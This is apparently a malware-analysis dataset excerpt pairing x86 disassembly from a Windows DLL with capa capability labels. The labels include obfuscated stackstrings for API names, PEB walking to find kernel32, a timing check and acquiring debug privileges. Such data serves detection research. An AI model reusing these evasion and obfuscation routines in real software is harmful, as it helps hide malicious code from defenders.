joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000d4e0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push edi
push 0x30
mov dword [esp + 0x14], 0
call esi
add esp, 4
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x30
mov edi, eax
call esi
push 0x30
mov dword [esp + 0x1c], 0x128
call esi
add esp, 8
lea eax, [esp + 0x14]
push eax
push edi
call sub.KERNEL32.dll_Process32First
push 0x30
call esi
mov ebx, dword [esp + 0x144]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
add esp, 4
lea ecx, [esp + 0x38]
push ebx
push ecx
call ebp
test eax, eax
je 0x1000d56a
push 0x30
call esi
add esp, 4
lea edx, [esp + 0x14]
push edx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000d570
lea eax, [esp + 0x38]
push ebx
push eax
call ebp
test eax, eax
jne 0x1000d548
mov ebx, dword [esp + 0x1c]
jmp 0x1000d574
mov ebx, dword [esp + 0x10]
push 0x30
call esi
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x30
call esi
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x12c
ret

Function at 0x1000dfa0
Capabilities:
Read file via mapping

Disassembly:
mov eax, dword [0x10020554]
sub esp, 0x28
test eax, eax
jne 0x1000dfbc
push 0x10001a04
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x10020554], eax
push esi
lea ecx, [esp + 0x18]
push edi
mov edi, 0x10003dbc
lea eax, [esp + 0x1c]
push ecx
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0xc
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0
call fcn.1000e0c0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esp + 0x10], eax
call esi
mov eax, dword [esp + 0x10]
add esp, 4
neg eax
sbb eax, eax
lea edx, [esp + 0x10]
push 0x10001acc
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0x30
mov dword [0x10020548], eax
call esi
mov eax, dword [0x10020548]
add esp, 4
test eax, eax
jne 0x1000e04a
mov eax, dword [esp + 0xc]
mov dword [esp + 8], edi
jmp 0x1000e082
push 0x30
call esi
mov eax, dword [0x10020548]
add esp, 4
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0x30
mov dword [0x10020544], eax
call esi
mov eax, dword [0x10020544]
add esp, 4
test eax, eax
mov eax, dword [esp + 0xc]
mov dword [esp + 8], edi
jne 0x1000e09e
test eax, eax
je 0x1000e096
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
xor al, al
pop esi
add esp, 0x28
ret
test eax, eax
je 0x1000e0b2
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov al, 1
pop esi
add esp, 0x28
ret
Function at 0x1000e240
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get file attributes

Disassembly:
sub esp, 0x24
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 5], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
mov cl, 0x74
push ebx
mov byte [esp + 5], al
mov byte [esp + 8], al
mov byte [esp + 0x15], al
mov byte [esp + 0x1b], al
mov byte [esp + 0x20], al
push ebp
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x26], cl
lea eax, [esp + 0x18]
push esi
lea ecx, [esp + 0xc]
mov dl, 0x72
xor ebx, ebx
push eax
push ecx
mov byte [esp + 0x14], 0x6b
mov byte [esp + 0x16], dl
mov byte [esp + 0x17], 0x6e
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], 0x32
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x20], bl
mov byte [esp + 0x24], 0x47
mov byte [esp + 0x27], 0x53
mov byte [esp + 0x28], 0x79
mov byte [esp + 0x29], 0x73
mov byte [esp + 0x2c], 0x6d
mov byte [esp + 0x2d], 0x44
mov byte [esp + 0x2e], 0x69
mov byte [esp + 0x2f], dl
mov byte [esp + 0x31], 0x63
mov byte [esp + 0x33], 0x6f
mov byte [esp + 0x34], dl
mov byte [esp + 0x35], 0x79
mov byte [esp + 0x36], 0x41
mov byte [esp + 0x37], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
mov esi, eax
call fcn.1000dfa0
test al, al
jne 0x1000e310
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
push edi
mov edi, dword [0x10020544]
mov ecx, 0x165
xor eax, eax
rep stosd dword es:[edi], eax
mov byte [0x10020540], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, dword [0x10020544]
mov dword [0x1002053c], eax
push 0x104
mov dword [edx + 8], ebx
mov eax, dword [0x10020544]
mov dword [eax + 4], ebx
mov ecx, dword [0x10020544]
xor eax, eax
mov dword [ecx], ebx
mov edx, dword [0x10020544]
mov ecx, 0x20
lea edi, [edx + 0x511]
rep stosd dword es:[edi], eax
mov eax, dword [0x10020544]
add eax, 0xd
push eax
call esi
mov ecx, dword [0x10020544]
push 0x10001920
add ecx, 0xd
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov edx, dword [0x10020554]
add esp, 4
push 0x10001ad8
push edx
call ebp
push 0x30
mov edi, eax
call esi
mov eax, dword [0x10020544]
add esp, 4
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1000e3c9
mov ecx, dword [0x10020544]
mov byte [ecx + 0xc], 1
jmp 0x1000e3d2
mov edx, dword [0x10020544]
mov byte [edx + 0xc], bl
mov eax, dword [0x10020544]
cmp dword [eax + 4], ebx
jne 0x1000e3f6
mov ecx, dword [0x1002054c]
push ebx
push ecx
push 0x1000dbc0
push 3
call edi
mov edx, dword [0x10020544]
mov dword [edx + 4], eax
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x24
ret
Function at 0x1000e700
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x19], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], cl
mov cl, 0x74
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0xc], al
mov byte [esp + 8], cl
mov byte [esp + 0xe], cl
lea eax, [esp + 4]
push edi
lea ecx, [esp + 0x18]
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x10003dcc
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], dl
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], 0
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x13], 0x61
mov byte [esp + 0x16], 0x45
mov byte [esp + 0x17], 0x76
mov byte [esp + 0x19], dl
mov byte [esp + 0x1b], 0x41
mov byte [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x2c]
push esi
mov edi, eax
mov dword [esi + 4], ecx
call fcn.100065c0
push 0
push 0
push 1
push 0
call edi
mov dword [esi + 8], eax
mov eax, esi
pop edi
pop esi
add esp, 0x20
ret 4
Function at 0x1000e9e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x3c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x10]
push edi
lea ecx, [esp + 0x2c]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x34], 0x6b
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x72
mov byte [esp + 0x37], 0x6e
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], 0x6c
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3e], 0x6c
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x46
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x20]
lea eax, [esp + 0x3c]
push edx
push eax
mov byte [esp + 0x44], 0x6b
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x72
mov byte [esp + 0x47], 0x6e
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x6c
mov byte [esp + 0x4a], 0x33
mov byte [esp + 0x4b], 0x32
mov byte [esp + 0x4c], 0x2e
mov byte [esp + 0x4d], 0x64
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x6c
mov byte [esp + 0x50], 0
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x74
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x46
mov byte [esp + 0x2f], 0x69
mov byte [esp + 0x30], 0x6c
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x41
mov byte [esp + 0x33], 0
call esi
push eax
call edi
mov ecx, dword [esp + 0x58]
xor esi, esi
push esi
push 0x80
push 4
push esi
push 3
push 0x40000000
push ecx
call eax
mov edi, eax
cmp edi, 0xffffffff
jne 0x1000eb26
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x3c
ret
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [esp + 0x54]
mov dword [esp + 0x10], esi
mov ecx, dword [esp + 0x50]
lea edx, [esp + 0x10]
mov eax, ebx
push 0
push edx
sub eax, esi
lea edx, [esi + ecx]
push eax
push edx
push edi
call ebp
add esi, dword [esp + 0x10]
cmp esi, ebx
jb 0x1000eb39
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x3c
ret
Function at 0x100103c0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1001ddc8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, dword [esp + 0x34]
mov dword [esp + 0xc], ecx
push edi
mov al, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.1000fe80
lea ecx, [esi + 1]
add esi, 0xd
mov dword [esp + 0x30], 0
mov dword [esp + 0x38], esi
mov edx, dword [ecx]
mov dword [esp + 0x1c], edx
mov ebx, dword [ecx + 4]
mov ebp, dword [ecx + 8]
test ebp, ebp
jbe 0x100104ba
test ebx, ebx
jbe 0x10010462
lea esi, [ebx + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, dword [esp + 0x3c]
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebx
mov edi, edx
mov eax, ecx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000ff40
test eax, eax
je 0x100104b1
add dword [esp + 0x38], ebx
lea esi, [ebp + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, dword [esp + 0x3c]
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebp
mov edi, edx
mov eax, ecx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000ffa0
test eax, eax
je 0x100104b1
mov ecx, dword [esp + 0x10]
call fcn.10010140
jmp 0x100104ba
mov ecx, dword [esp + 0x10]
call fcn.10010120
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000fee0
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4
Function at 0x10010520
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x1001dde8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
mov ebx, dword [esp + 0x2c]
push ebp
push esi
mov al, byte [ebx]
mov dword [esp + 0xc], ecx
push edi
push eax
lea ecx, [esp + 0x18]
call fcn.1000fe80
lea ecx, [ebx + 1]
add ebx, 0xd
mov dword [esp + 0x30], 0
mov esi, dword [ecx]
mov dword [esp + 0x1c], esi
mov ebp, dword [ecx + 4]
mov dword [esp + 0x20], ebp
mov eax, dword [ecx + 8]
test eax, eax
jbe 0x1001064a
test ebp, ebp
jbe 0x1001064a
test esi, esi
jle 0x100105e4
lea edi, [esi + 1]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, edi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000ff40
test eax, eax
jne 0x100105d1
mov ecx, dword [esp + 0x10]
call fcn.10010120
jmp 0x1001064a
mov edx, dword [esp + 0x1c]
push ebp
add ebx, edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ebp, dword [esp + 0x24]
add esp, 4
lea esi, [ebp + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, ebx
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebp
mov edi, edx
mov eax, ecx
add ebx, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x40], edx
call fcn.10010010
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x10010638
call fcn.10010140
jmp 0x1001063d
call fcn.10010120
mov ecx, dword [esp + 0x38]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000fee0
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4
Function at 0x100106b0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x1001de08
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
mov ebx, dword [esp + 0x2c]
push ebp
push esi
mov al, byte [ebx]
mov dword [esp + 0xc], ecx
push edi
push eax
lea ecx, [esp + 0x18]
call fcn.1000fe80
lea ecx, [ebx + 1]
add ebx, 0xd
mov dword [esp + 0x30], 0
mov esi, dword [ecx]
mov dword [esp + 0x1c], esi
mov eax, dword [ecx + 4]
mov dword [esp + 0x20], eax
mov ecx, dword [ecx + 8]
test ecx, ecx
jbe 0x100107de
test eax, eax
jbe 0x100107de
test esi, esi
jle 0x10010774
lea edi, [esi + 1]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, edi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000ff40
test eax, eax
jne 0x10010761
mov ecx, dword [esp + 0x10]
call fcn.10010120
jmp 0x100107de
mov edx, dword [esp + 0x1c]
push ebp
add ebx, edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x24]
add esp, 4
lea esi, [eax + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, esi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x24]
mov edi, ebp
mov ecx, eax
add ebx, eax
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.10010670
add esp, 8
lea ecx, [esp + 0x14]
push eax
push ebp
call fcn.1000ffe0
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x100107d0
call fcn.10010140
jmp 0x100107d5
call fcn.10010120
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000fee0
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4
Function at 0x10010810
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x1001de28
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
mov ebx, dword [esp + 0x2c]
push ebp
push esi
mov al, byte [ebx]
mov dword [esp + 0xc], ecx
push edi
push eax
lea ecx, [esp + 0x18]
call fcn.1000fe80
lea ecx, [ebx + 1]
add ebx, 0xd
mov dword [esp + 0x30], 0
mov esi, dword [ecx]
mov dword [esp + 0x1c], esi
mov ebp, dword [ecx + 4]
mov dword [esp + 0x20], ebp
mov eax, dword [ecx + 8]
test eax, eax
jbe 0x1001093a
test ebp, ebp
jbe 0x1001093a
test esi, esi
jle 0x100108d4
lea edi, [esi + 1]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, edi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000ff40
test eax, eax
jne 0x100108c1
mov ecx, dword [esp + 0x10]
call fcn.10010120
jmp 0x1001093a
mov edx, dword [esp + 0x1c]
push ebp
add ebx, edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ebp, dword [esp + 0x24]
add esp, 4
lea esi, [ebp + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, ebx
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebp
mov edi, edx
mov eax, ecx
add ebx, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x40], edx
call fcn.10010050
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x10010928
call fcn.10010140
jmp 0x1001092d
call fcn.10010120
mov ecx, dword [esp + 0x38]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000fee0
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4
Function at 0x10011ad0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x20
push ebx
mov ebx, dword [esp + 0x28]
push ebp
push esi
push edi
xor edi, edi
cmp ebx, edi
mov esi, ecx
je 0x10011caa
cmp dword [esi + 0x1c], edi
je 0x10011caa
call fcn.10012180
lea ebp, [esi + 4]
push 1
push ebp
mov ecx, esi
mov dword [esi + 0x20], edi
call fcn.10011f60
lea eax, [esp + 0x14]
push eax
call dword [0x10003c64]
lea ecx, [esp + 0x14]
push 8
push ecx
mov ecx, esi
call fcn.10011f60
lea edx, [esp + 0x1c]
mov dword [esp + 0x1c], 0x14
push edx
call dword [0x10003c68]
test eax, eax
je 0x10011b8e
cmp dword [esp + 0x20], 1
jne 0x10011b8e
mov ecx, dword [esp + 0x24]
lea eax, [esi + 0xcc]
cmp ecx, dword [eax]
je 0x10011b53
inc edi
add eax, 4
cmp edi, 0x10
jl 0x10011b46
push 0x10001bc4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
push 0x10001bb4
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [esp + 0x24]
push eax
call dword [0x10003c6c]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp edi, 0x10
jne 0x10011b86
or edi, 0xffffffff
mov ebx, dword [esp + 0x34]
mov eax, edi
jmp 0x10011b91
or eax, 0xffffffff
lea ecx, [esp + 0x13]
push 1
push ecx
mov ecx, esi
mov byte [esp + 0x1b], al
call fcn.10011f60
cmp byte [ebp], 2
jne 0x10011bf9
mov eax, dword [esi + 0x68]
mov ecx, dword [esi + 0x44]
mov edx, dword [eax + 8]
mov eax, dword [eax + 4]
push edx
mov edx, dword [esi + 0x80]
push eax
push ecx
push edx
mov ecx, esi
call fcn.100121c0
mov eax, dword [esi + 0x68]
mov edx, dword [esi + 0x20]
mov ecx, dword [eax + 0x14]
mov eax, dword [esi + 0x1c]
add edx, eax
mov eax, dword [esi + 0x60]
push ecx
mov ecx, dword [esi + 0x78]
push edx
push eax
push ecx
mov ecx, esi
call fcn.10012230
mov ecx, dword [esi + 0x20]
pop edi
add eax, ecx
mov dword [ebx], eax
mov eax, dword [esi + 0x1c]
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 4
mov ebp, dword [esp + 0x18]
xor edx, edx
lea eax, [ebp - 0x13]
test eax, eax
setl dl
dec edx
and edx, eax
mov eax, dword [0x10020664]
cmp ebp, eax
mov edi, edx
je 0x10011c26
push edi
mov ecx, esi
call fcn.10011cc0
test al, al
je 0x10011c26
add edi, 0x13
jmp 0x10011c29
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x10011c47
push edi
mov ecx, esi
call fcn.10011cc0
test al, al
je 0x10011c3d
add edi, 0x13
mov eax, dword [esi + 0x2c]
add edi, 0x13
cmp edi, eax
jl 0x10011c2e
mov eax, dword [esp + 0x18]
mov ecx, 0x13
mov dword [0x10020664], eax
mov eax, dword [esi + 0x30]
add eax, 3
lea edi, [esi + 0x14]
cdq
idiv ecx
mov dword [esi + 0x30], edx
mov edx, dword [esi + 0x20]
mov dword [ebx], edx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jae 0x10011c93
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call ebp
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x10011c82
call ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x20
ret 4
Function at 0x10012460
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x14
lea eax, [esp]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [fcn.10003b84]
test eax, eax
je 0x100124c4
lea ecx, [esp + 8]
push ecx
push 0x10001c80
push 0
call dword [fcn.10003b88]
mov eax, dword [esp]
push 0
push 0
lea edx, [esp + 0xc]
push 0x10
push edx
push 0
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [fcn.10003b8c]
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
inc eax
add esp, 0x14
ret
mov eax, 1
add esp, 0x14
ret